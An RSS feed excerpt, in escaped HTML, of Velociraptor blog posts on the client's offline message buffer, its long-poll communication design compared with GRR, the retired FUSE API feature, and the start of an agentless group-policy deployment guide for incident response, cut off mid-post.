&lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-09-11_velociraptor-s-client-side-buffer-3ce03697a4e6/../../img/0__nPIixkbpqm__LNbv2.jpg&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;The Windows.Detection.Thumbdrives.List artifact watches for newly added removable drives and reports new files added to them.&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    The Windows.Detection.Thumbdrives.List artifact watches for newly added removable drives and reports new files added to them.&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;The Windows.Detection.Thumbdrives.List artifact watches for newly added removable drives and reports new files added to them.&lt;/p&gt;&#xA;&lt;p&gt;Previously, when a thumb drive was added, Velociraptor sent the file listing to the server immediately. However, if the endpoint was offline, this data blocked further monitoring by the query.&lt;/p&gt;&#xA;&lt;p&gt;Starting with the 0.3.3 release, Velociraptor will now queue the messages in its local file buffer immediately, and transfer the data to the server when it can — even if it is currently not on the internet or online. The messages will simply be forwarded to the server at a later time.&lt;/p&gt;&#xA;&lt;h4 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h4&gt;&#xA;&lt;p&gt;This feature allows Velociraptor to monitor the end point without being connected to the server at all. In effect this implements a &lt;strong&gt;response plan&lt;/strong&gt;: The endpoint is given a plan of what to do in the case certain events occur (in the form of monitoring VQL queries) and can implement this plan autonomously without needing to contact the server.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor&#39;s client communications</title>
      <link>https://www.velociraptor-docs.org/blog/html/2018/09/03/velociraptor_s_client_communications/</link>
      <pubDate>Tue, 03 Sep 2019 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2018/09/03/velociraptor_s_client_communications/</guid>
      <description>&lt;h3 id=&#34;how-does-the-grr-client-communicate&#34;&gt;How does the GRR client communicate?&lt;/h3&gt;&#xA;&lt;p&gt;The GRR client protocol is depicted below.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/09/03/velociraptor_s_client_communications//blog/html/2018/09/03/velociraptor_s_client_communications/comms1.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;624&#34; height=&#34;483&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;comms1.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Due to network realities such as NAT, firewalls etc, it is not possible&#xA;to directly connect to the client, so GRR relies on the client&#xA;connecting to the server in order to communicate with it.&lt;/p&gt;&#xA;&lt;p&gt;The GRR client makes periodic POST requests to the server to both send&#xA;replies and receive new instructions. Since POST requests are very short&#xA;lived (most client polls carry no data) the client has to repeat the&#xA;polls periodically.&lt;/p&gt;&#xA;&lt;p&gt;There are two parameters which determine how the GRR client behaves&#xA;-poll_max and poll_min. When there is some requests sent to the&#xA;client, the client will reduce its poll wait time to poll_min (default&#xA;0.2 seconds). When nothing happens, the client will increase its poll&#xA;time gradually up to poll_max (default 10 minutes).&lt;/p&gt;&#xA;&lt;p&gt;Having long poll times means that any new flows launched on an idle&#xA;client must wait for up to 10 minutes before the client polls again in&#xA;order to send the new requests to the client. Unfortunately reducing the&#xA;poll_max setting actually increases server load, as the server needs to&#xA;hit the database more often to serve each poll. This scheme essentially&#xA;poses a trade off - for a responsive client, we must have a low&#xA;poll_max (i.e. more frequent polls) but this increases the load on the&#xA;frontend so it can not be too low.&lt;/p&gt;&#xA;&lt;p&gt;When GRR is normally deployed it produces 2 types of clients on the web&#xA;interface: the debug client has max_poll set to 5 seconds making&#xA;testing easier because it is more responsive, but the non-debug version&#xA;has max_poll set to 10 minutes. For example at Velocidex, one of our&#xA;clients had once accidentally deployed the debug version and the server&#xA;was slammed with 5 second polls from several thousand clients! This&#xA;rendered the server useless, returning HTTP 500 status codes for most&#xA;client polls. The only way to recover was to push new config to the&#xA;clients and restart their GRR service in order to lower the poll&#xA;frequency and recover control over the deployment.&lt;/p&gt;&#xA;&lt;h1 id=&#34;catastrophic-failure-under-load&#34;&gt;Catastrophic failure under load&lt;/h1&gt;&#xA;&lt;p&gt;The other problem with GRR&#39;s client communication protocol is that it&#xA;tends to exhibit catastrophic failure under load. When the client makes&#xA;a HTTP POST operation, the server goes through the following steps in&#xA;order:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Unpack and decrypts any replies the client sends in its POST message&lt;/li&gt;&#xA;&lt;li&gt;Queue these replies on a worker queue&lt;/li&gt;&#xA;&lt;li&gt;Read the client&#39;s job queue for any outstanding requests to the&#xA;client.&lt;/li&gt;&#xA;&lt;li&gt;Pack and encrypt these requests to the client.&lt;/li&gt;&#xA;&lt;li&gt;Write them as the body response of the HTTP POST with hopefully a&#xA;200 HTTP status.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;In previous posts we have seen that GRR&#39;s overuse of queuing leads to&#xA;extreme loads on the database, so under load (e.g. when a large hunt is&#xA;taking place), the above process may take some time until the server can&#xA;obtain a lock on the database row, write and read the messages, and&#xA;compose its response.&lt;/p&gt;&#xA;&lt;p&gt;What tends to happen under load, is that the client will time the&#xA;request out if the server takes too long, or the server itself may&#xA;timeout the request with a HTTP 500 code. The client, thinking it has&#xA;not got through will try to POST the same data again (this time it will&#xA;wait longer though).&lt;/p&gt;&#xA;&lt;p&gt;This essentially makes things worse, because the replies are probably&#xA;already mostly queued so the next retry will re-queue the same requests&#xA;(these will be discarded by the worker anyway but they are still&#xA;queued), increasing database pressure and server load. This manifests in&#xA;a critical meltdown of the frontends who pretty soon serve mostly 500&#xA;errors (making things worse again).&lt;/p&gt;&#xA;&lt;p&gt;This is the reason why resource provision is so important with GRR, if&#xA;the frontends are just too slow to be able to keep up, the connections&#xA;will start to timeout, and load increases (rather than decreases)&#xA;causing a catastrophic failure.&lt;/p&gt;&#xA;&lt;h1 id=&#34;how-can-we-fix-this&#34;&gt;How can we fix this?&lt;/h1&gt;&#xA;&lt;p&gt;The main problem with a polling scheme is that the user experience is&#xA;terrible - even if we reduce the poll wait times to few seconds, users&#xA;will have to wait to view the results of their actions - leading to an&#xA;overall experience of a slow and sluggish system. For a responsive user&#xA;interface we need to have client round trips of a second or less and&#xA;having poll_max set this low will just use up too many resources. This&#xA;is particularly noticeable in the VFS browser since it takes so long to&#xA;navigate to the desired directory and download files interactively.&lt;/p&gt;&#xA;&lt;p&gt;Other endpoint monitoring systems use distributed pub/sub systems like&#xA;RabbitMQ or Firebase realtime database to inform the clients of new&#xA;requests. In those systems, the client makes a TCP connection to an&#xA;endpoint and holds the connection open for long periods of time, the&#xA;server can then immediately push new requests to the client as soon as&#xA;they are published. This seems like the way to go but we did not want to&#xA;introduce another dependency on Velociraptor (we really like it being a&#xA;self contained - working out of the box binary).&lt;/p&gt;&#xA;&lt;p&gt;In particular we also wanted to solve the catastrophic failure we saw&#xA;with GRR clients under load (described above). This means that we need&#xA;to make sure that the clients are not sending data faster than the&#xA;server can process it. We definitely want to avoid the POST timing out&#xA;with a 500 error and the client retrying the same POST since this is the&#xA;main cause for the catastrophic failures we experienced with GRR.&lt;/p&gt;&#xA;&lt;p&gt;We can do this by keeping the client&#39;s connection open for as long as&#xA;we need, but in order to not time it out, we send the HTTP status code&#xA;immediately, then process the POST data, while sending the client&#xA;keepalive data periodically using HTTP chunked transfer encoding.&lt;/p&gt;&#xA;&lt;p&gt;To the client, and any proxies in the way, it simply looks like the POST&#xA;request was received immediately, and the response body is downloaded&#xA;slowly (there is always some pad data flowing so none of the TCP or HTTP&#xA;timers are triggered since the connection is always active). This is&#xA;illustrated in the diagram below.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/09/03/velociraptor_s_client_communications//blog/html/2018/09/03/velociraptor_s_client_communications/comms2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;624&#34; height=&#34;424&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;comms2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This scheme has the two main advantages:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;By returning a 200 status to the client before we begin processing,&#xA;the client knows we received the data. They are then able to&#xA;de-queue these messages and will not transmit them again.&lt;/li&gt;&#xA;&lt;li&gt;By keeping the client connected while the server is processing the&#xA;request we avoid any additional data from being sent to the server&#xA;while it is busy. The client will be blocked on the HTTP connection&#xA;and will actually pause its running VQL query while the server is&#xA;processing the current responses. This mechanism actually throttles&#xA;the clients to allow the server to keep up.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;making-the-client-more-responsive&#34;&gt;Making the client more responsive&lt;/h2&gt;&#xA;&lt;p&gt;We really wanted to make clients more responsive. We were frankly sick&#xA;of having to wait up to 10 minutes to access a client that we knew was&#xA;online in our IR work. To make the client more responsive we wanted to&#xA;use the same technique to keep the client connection open for long&#xA;periods of time, and then send instructions to the client as soon as the&#xA;user issues a new flow.&lt;/p&gt;&#xA;&lt;p&gt;In the GRR scheme new requests are sent on the same connections as&#xA;client replies are received. This won&#39;t work if the client connection&#xA;is held open for long periods of time because while the client is&#xA;blocked reading new responses from the server, it can not send any&#xA;replies (the POST header was already sent).&lt;/p&gt;&#xA;&lt;p&gt;To fix this we switched to two separate POST connections on two server&#xA;handlers, a reader handler and a writer handler. The writer handler only&#xA;receives messages from the client to the server (i.e. replies to client&#xA;requests), while the reader handler blocks the client for prolonged time&#xA;and sends client requests as soon as new flows are launched.&lt;/p&gt;&#xA;&lt;p&gt;This scheme allows a full duplex, responsive communication protocol,&#xA;with no polling overheads. This can be seen in the diagram below.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/09/03/velociraptor_s_client_communications//blog/html/2018/09/03/velociraptor_s_client_communications/comms3.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;624&#34; height=&#34;372&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;comms3.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The client establishes the reader channel by sending a HTTP POST request&#xA;to the reader handler. The server checks for any messages for the&#xA;client, and sees that there are none pending. It will then keep the&#xA;client&#39;s connection open as before, trickle sending pad data (using&#xA;HTTP chunked transfer encoding) to keep the connection open for as long&#xA;as possible.&lt;/p&gt;&#xA;&lt;p&gt;When the user launches a new flow, the server can immediately forward&#xA;the client&#39;s requests on the open channel, completing the POST&#xA;operation. The client will then process the requests and send the&#xA;responses with a separate HTTP POST to the writer channel. In the&#xA;meantime the reader channel will re-POST to the reader handler and&#xA;become blocked and ready for the next request.&lt;/p&gt;&#xA;&lt;p&gt;This scheme has the following advantages:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The user&#39;s flow is executed instantly by the client. This makes for&#xA;example, the VFS browser instant - as soon as the user clicks the&#xA;&amp;quot;refresh directory listing&amp;quot; button, the directory is refreshed. As&#xA;soon as the user wants to view a file, the file is downloaded etc.&lt;/li&gt;&#xA;&lt;li&gt;There is hardly any polling activity. The clients open a reader&#xA;connection once and hold it for many minutes. The server need only&#xA;check the queue at the beginning of the connection and then only if&#xA;it knows there is a new flow launched for this client. This means&#xA;server load is really low.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;However, the scheme also has some disadvantages:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;TCP connections are held for long periods of time tying up server&#xA;resources. In particular the open sockets count towards the&#xA;process&#39;s open file descriptor limit. It is typically necessary to&#xA;increase this limit (by default it is 1024 which is very low).&lt;/li&gt;&#xA;&lt;li&gt;Deploying over multiple servers is a bit more complex because a&#xA;client may be blocked on one server and the flow is launched on&#xA;another server. Velociraptor now has a notification API to allow&#xA;inter server RPCs to propagate notifications between servers.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;We believe that these limitations can be easily managed. They are no&#xA;different from typical limitations of large scale pub/sub systems (they&#xA;too need to hold many TCP connections open). In our testing we have not&#xA;seen a problem scaling to many thousands of connected clients with very&#xA;low resource use.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor now also has a pool client that allows spinning up several&#xA;thousand clients at the same time. This helps with testing a deployment&#xA;to make sure it can handle the increased open file limit and test how&#xA;large scale hunts can be handled.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;The new responsive client communications protocol allows for near&#xA;instantaneous access to clients. This actually reduces the overall load&#xA;on the system because we do not need to perform frequent client polls&#xA;just to check if a new flow is launched. User experience is much better&#xA;as users can interact with clients immediately.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>The Velociraptor API and FUSE</title>
      <link>https://www.velociraptor-docs.org/blog/html/2019/08/28/the_velociraptor_api/</link>
      <pubDate>Mon, 26 Aug 2019 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2019/08/28/the_velociraptor_api/</guid>
      <description>&#xA;&lt;div class=&#34;mynotices warning&#34;&gt;&#xA;  &lt;div heading=&#34;warning&#34;&gt;&lt;p&gt;This page is written about a very old version of Velociraptor and is&#xA;retained for historical purposes. Currently the fuse feature was removed.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;The Velociraptor GUI is very useful, but for the power user, the&#xA;Velociraptor API provides a powerful mechanism to integrate and&#xA;automate. We previously discussed how the Velociraptor API can be used&#xA;by external programs. This post explore a sample program that uses the&#xA;API and presents a client&amp;rsquo;s VFS as a FUSE directory.&lt;/p&gt;&#xA;&lt;p&gt;This allows us to navigate the remote end point&amp;rsquo;s file system as if it&#xA;was mounted locally - we can list directories or fetch files, or even&#xA;open remote files using third party programs. All the while, these&#xA;actions are fully audited on the server and the collected files are&#xA;stored in Velociraptor&amp;rsquo;s file store for archiving and evidence&#xA;preservation.&lt;/p&gt;&#xA;&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Consider an analyst investigating an end point. The analyst has some&#xA;third party tools on their workstation which they would like to use on&#xA;files obtained from the end point.&lt;/p&gt;&#xA;&lt;p&gt;Filesystem in Userspace (FUSE) is a way of creating the illusion of a&#xA;real filesystem using software. When various programs on the computer&#xA;requests filesystem operations, such as listing files in a directory&#xA;or reading a file, Velociraptor takes over and emulates these&#xA;requests.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s built in FUSE program emulates a filesystem by&#xA;exporting a client&amp;rsquo;s cached VFS on the server to the FUSE layer. If&#xA;the analyst attempts to list a directory that the server has no cache&#xA;of - the server will issue a new directory listing request from the&#xA;endpoint. If the endpoint is currently online, the updated directory&#xA;listing will be returned to the server, and in turn relayed to the&#xA;analyst&amp;rsquo;s workstation.&lt;/p&gt;&#xA;&lt;p&gt;The overall effect is that as the analyst navigates around the FUSE&#xA;filesystem on their workstation, they are issuing collection requests&#xA;from the endpoint, and reading their responses in such as way that it&#xA;appears the endpoint is really mounted on the FUSE filesystem.&lt;/p&gt;&#xA;&lt;p&gt;![Image](../Fuse overview.png)&lt;/p&gt;&#xA;&lt;p&gt;The above figure shows all the components and how they are&#xA;related. Assume the FUSE filesystem is mounted on drive &lt;code&gt;Q:&lt;/code&gt; in the&#xA;analyst&amp;rsquo;s workstation:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Suppose the analyst is navigating the file &lt;code&gt;Q:\file\&lt;/code&gt; using Windows&#xA;Explorer.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s FUSE program running on the analyst workstation will&#xA;issue an API request to list the &lt;code&gt;file&lt;/code&gt; directory within the&#xA;client&amp;rsquo;s VFS on the server.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;If the server has a locally cached version of this VFS directory in&#xA;its data store it will return it immediately.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;However, if no server side cache exists, the FUSE program will&#xA;issue a directory listing request to the endpoint.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The endpoint will respond to this and return the directory listing&#xA;(if it is currently online).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Now the server will contain a cached copy of the VFS directory and&#xA;can return it (just as in step 3 above).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The Velociraptor FUSE program on the workstation can return the&#xA;directory listing to the Windows kernel and this will be fed back&#xA;into the Windows Explorer. The end result is that Windows Explorer&#xA;appears to be navigating the endpoint&amp;rsquo;s filesystem directly.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;You can see this process in the screenshot below:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2019/08/28/the_velociraptor_api/../fuse.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Image&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    Image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices tip&#34;&gt;&#xA;  &lt;div heading=&#34;tip&#34;&gt;&lt;p&gt;Do not run the fuse API command as a different user to what is&#xA;currently logged in (e.g. do not run as Administrator). If you do then&#xA;you will not be able to see the FUSE drive in your user&amp;rsquo;s desktop&#xA;session.&lt;/p&gt;&#xA;&lt;p&gt;For example if you are logged in as user &amp;ldquo;Test&amp;rdquo;, then any FUSE drives&#xA;created by Velociraptor running as user Test are only visible to user&#xA;Test. If you run the above command as an elevated UAC prompt then user&#xA;Test will be unable to see the new drive.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;running-the-fuse-program&#34;&gt;Running the FUSE program&lt;/h3&gt;&#xA;&lt;p&gt;On Windows filesystem in userspace is implemented by the &lt;code&gt;WinFSP&lt;/code&gt;&#xA;project. You will need to&#xA;&lt;a href=&#34;http://www.secfs.net/winfsp/download/&#34; target=&#34;_blank&#34; &gt;download&lt;/a&gt; and install it&#xA;first.&lt;/p&gt;&#xA;&lt;p&gt;We require an API key to use the fuse feature so generate one first on&#xA;the server:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;   $ velociraptor --config server.config.yaml \&#xA;        config api_client --name FUSE &amp;gt; api_client.yaml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now simply copy the generate &lt;code&gt;api_client.yaml&lt;/code&gt; file to the analyst&amp;rsquo;s&#xA;workstation. You can mount any client&amp;rsquo;s VFS by simply specifying its&#xA;client id and a drive letter to access it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\Program Files\Velociraptor&amp;gt;Velociraptor.exe --api_config f:\api_client.yaml -v fuse q: C.8b6623b1d7c42adf&#xA;The service Velociraptor has been started.&#xA;[INFO] 2019-08-26T14:12:28Z Initiating VFSRefreshDirectory for /file/C:/Go/ (aff4:/clients/C.8b6623b1d7c42adf/flows/F.BLHUHJ0RDGCRU)&#xA;[INFO] 2019-08-26T14:12:28Z Flow for /file/C:/Go/ still outstanding (aff4:/clients/C.8b6623b1d7c42adf/flows/F.BLHUHJ0RDGCRU)&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Simply press Ctrl-C to stop the FUSE program as any time.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;The FUSE feature is a perfect example of a useful API program. The&#xA;program fully automates the Velociraptor server - it received cached&#xA;information about the client&amp;rsquo;s VFS status, and then automatically&#xA;issues new collection requests as needed.&lt;/p&gt;&#xA;&lt;p&gt;This kind of automated control of the Velociraptor server opens the&#xA;door to many such applications. From automated response to&#xA;remediation and automated evidence collection.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;Some users has asked us what the difference between the FUSE program&#xA;and other tools, e.g. F-Response which also create the illusion that&#xA;the remote system is mounted on the analyst&amp;rsquo;s workstation. The main&#xA;difference is that Velociraptor does not export the &lt;em&gt;raw block device&lt;/em&gt;&#xA;from the endpoint - it simply exports the files and directories we&#xA;collected already. So for example, it is not possible to run a low&#xA;level disk analysis system (such as X-Ways) on the mounted FUSE&#xA;drive. However you can still run specialized file parsers (such as&#xA;Kape or log2timeline) as long as they do not require access to the raw&#xA;devices.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;</description>
    </item>
    <item>
      <title>Agentless hunting with Velociraptor</title>
      <link>https://www.velociraptor-docs.org/blog/2019/2019-03-02/</link>
      <pubDate>Sat, 02 Mar 2019 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2019/2019-03-02/</guid>
      <description>&lt;p&gt;There has been a lot of interest lately in Agentless hunting especially&#xA;using PowerShell. There are many reasons why Agentless hunting is&#xA;appealing - there are already a ton of endpoint agents and yet another&#xA;one may not be welcome. Sometimes we need to deploy endpoint agents as&#xA;part of a DFIR engagement and we may not want to permanently install yet&#xA;another agent on end points.&lt;/p&gt;&#xA;&lt;p&gt;This blog post explores an agentless deployment scenario, where we do&#xA;not want to install Velociraptor permanently on the end point, but&#xA;rather push it to end points temporarily to collect specific artifacts.&#xA;The advantage of this method is that there are no permanent changes to&#xA;the end point, as nothing is actually installed. However, we do get the&#xA;full power of Velociraptor to collect artifacts, hunt for evil and&#xA;more...&lt;/p&gt;&#xA;&lt;h1 id=&#34;agentless-velociraptor&#34;&gt;Agentless Velociraptor&lt;/h1&gt;&#xA;&lt;p&gt;Normally when deploying Velociraptor as a service, the binary is copied&#xA;to the system and a service is installed. The service ensures that the&#xA;binary is restarted when the system reboots, and so Velociraptor is&#xA;installed on a permanent basis.&lt;/p&gt;&#xA;&lt;p&gt;However in the agentless deployment scenario we simply run the binary&#xA;from a network share using group policy settings. The downside to this&#xA;approach is that the endpoint needs to be on the domain network to&#xA;receive the group policy update (and have the network share accessible)&#xA;before it can run Velociraptor. When we run in Agentless mode we are&#xA;really after collecting a bunch of artifacts via hunts and then exiting&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the agent will not restart after a reboot. So this method is suitable&#xA;for quick hunts on corporate (non roaming) assets.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In this post I will use Windows 2019 Server but this should also work on&#xA;any older version.&lt;/p&gt;&#xA;&lt;h2 id=&#34;creating-a-network-share&#34;&gt;Creating a network share&lt;/h2&gt;&#xA;&lt;p&gt;The first step is to create a network share with the Velociraptor binary&#xA;and its configuration file. We will run the binary from the share in&#xA;this example, but for more reliability you may want to copy the binary&#xA;into e.g. a temp folder on the end point in case the system becomes&#xA;disconnected from the domain. For quick hunts though it should be fine.&lt;/p&gt;&#xA;&lt;p&gt;We create a directory on the server (I will create it on the domain&#xA;controller but you should probably not do that - find another machine to&#xA;host the share).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-03-02//blog/2019/2019-03-02/1.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;1227&#34; height=&#34;523&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;1.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I created a directory C:\\Users\\Deployment and ensured that it is&#xA;read only. I have shared the directory as the name Deployment.&lt;/p&gt;&#xA;&lt;p&gt;I now place the Velociraptor executable and client config file in that&#xA;directory and verify that I can run the binary from the network share.&#xA;The binary should be accessible via&#xA;`\\\\DC\Deployment\velociraptor.exe`:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-03-02//blog/2019/2019-03-02/2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;627&#34; height=&#34;270&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;creating-the-group-policy-object&#34;&gt;Creating the group policy object.&lt;/h2&gt;&#xA;&lt;p&gt;Next we create the group policy object which forces all domain connected&#xA;machines to run the Velociraptor client. We use the Group Policy&#xA;Management Console:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-03-02//blog/2019/2019-03-02/3.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;869&#34; height=&#34;536&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;3.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Select the OU or the entire domain and click &amp;quot;Create New GPO&amp;quot;:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2019/2019-03-02//blog/2019/2019-03-02/4.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;864&#34; 